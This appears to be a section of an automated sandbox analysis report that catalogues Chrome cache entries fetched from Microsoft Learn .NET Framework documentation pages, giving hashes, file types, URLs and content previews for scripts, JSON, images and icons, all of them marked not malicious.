Chrome Cache Entry: 79

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 80

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	dropped
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 81

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/global/deprecation.js
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 82

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	downloaded
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
URL:	https://wcpstatic.microsoft.com/mscc/lib/v2/wcp-consent.js
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 83

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
URL:	https://learn.microsoft.com/static/third-party/MathJax/3.2.2/tex-mml-chtml.js
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 84

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.875
Encrypted:	false
SSDEEP:	3:HMB:k
MD5:	0B04EA412F8FC88B51398B1CBF38110E
SHA1:	E073BCC5A03E7BBA2A16CF201A3CED1BE7533FBF
SHA-256:	7562254FF78FD854F0A8808E75A406F5C6058B57B71514481DAE490FC7B8F4C3
SHA-512:	6D516068C3F3CBFC1500032E600BFF5542EE30C0EAC11A929EE002C707810BBF614A5586C2673EE959AFDF19C08F6EAEFA18193AD6CEDC839BDF249CF95E8079
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzQSEAkEurwx6c-nJBIFDb_mJfI=?alt=proto
Preview:	CgkKBw2/5iXyGgA=

Chrome Cache Entry: 85

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 1301x300, components 3
Category:	dropped
Size (bytes):	33370
Entropy (8bit):	7.973675198531228
Encrypted:	false
SSDEEP:	768:ykeIpO37gQNPfG0sxFrlSvg0EliJBectySxPMmPOGTeou78:ykX0DP+TFgg3iJNyyfPO9N78
MD5:	6E78EE324E008296108BFCDECD77E318
SHA1:	F7C39EE02C65BCEB2C66AD2D7F45523FEB5AD156
SHA-256:	EB7A4FF0F8ED4C8A95B2183968B5A59F4058B177F580AE2D2BEF4595B6F6E092
SHA-512:	BCFFF936BCC46AB4120690CFF3AF93491080E13084EA2BCD8BCE1A2470EA86EB007D695AEF23B73E0B84CB3C7FBF351D025BE47EC5D232AB613A420074F8A448
Malicious:	false
Preview:	......JFIF..........................................................) .. )/'%'/9339GDG]]}............................................) .. )/'%'/9339GDG]]}......,....!..........6.....................................................................S..d+!XYd..Hb..1..IR.BA0.+!....$C...@I..bU.BH%.1K..A...%...1h.3.,..+0F!Z@....`..%!.o...._]..=......J./Uz.k..._m..}..,s.lV.ED...J...,..b.........Y....u...N..g......A.$"3!h.~`>.....d+.,.a).Rb.I...D,."...IXJ..$.A$BU...bA,.`Z.b..,c...KFf.0.B;.f..U.C ..V.X,e.,1t}.....k.:R..b.l....mt.....#..W...iY..d..#.HU$..1...GW%..d]..-.x.:.......&...o.......(h.+.)h..x.?.B....,.D$.0.R.Y.%.."B#E$.$..!..K)0.....X.X.,.1..3BHbAxX.....R.]...1..(..`..VX.2..L.s.......L....]xVU^..Q.v>.I......7I.fJ....+vJ.T0V..z.]....}.J..A...,.~?...+....]...y.\|. .H..fFh..l.?.....Yd.IHJ.V...K..F....IS.H...%..K....X.....,C...f..F..$...+..8WdV!]..,.U..p!.A..\|Vw.x_I.,$!!...i...2..7.l_...'....}.q..{..z.F........vm/.V.........9..F..dh..;..$..BT.G0O.G.......B.$RJ.Z,,.0%..

Chrome Cache Entry: 86

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-changes-complete.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 87

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
URL:	https://learn.microsoft.com/favicon.ico
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 88

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	downloaded
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/scripts/en-us/index-docs.js
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/install-3-5.png
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33148), with no line terminators
Category:	dropped
Size (bytes):	33148
Entropy (8bit):	4.917595394577667
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUuro:5hOEO8chkMet7pCjBfcHkWOzUuro
MD5:	C4DE3932AA578FA03847604F09660315
SHA1:	5EFBA9D7F437AF4786560559FBF162C4475AAD4F
SHA-256:	7683C2566CBF3C67F1A645891CC7B4DE7D143FE40E0271E106AB55E90EF9C5A8
SHA-512:	3DCA7F8C7C2997D473B2B80916F3E976167BA06300E915CB301DB2A024A826B9E8D3A60B6111835A5FB9A3273B4080D89351F664F9CC410C18B7F76327C326AE
Malicious:	false
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/site-header/site-header.json?
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/app-could-not-be-started.png
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	4897
Entropy (8bit):	4.794639101874543
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzVqrpCvJ4QG63JjJ+do88HxbqP:dgQ+KfZcbhaWjp45qtAdflfDOFnNgBy4
MD5:	84E6C95F0E5378BDA94FA965C4692FAF
SHA1:	7C1D6572906509B08F8CD7B7A33EB9F9697EE6D1
SHA-256:	88A4A7B4F1160F8CAD3EB835116C29AC39659D586D4DADC54D9E40AC7E1BC610
SHA-512:	D34BFF37F8402B4A1FEE3C26F247A86D72666647A10E83D711A1BED1D24C6FC13674D65DCC037C22811B227FEC34B5DE20442191A42F9D78FC79D55FD5792761
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/MSDocsHeader-DotNet.json?
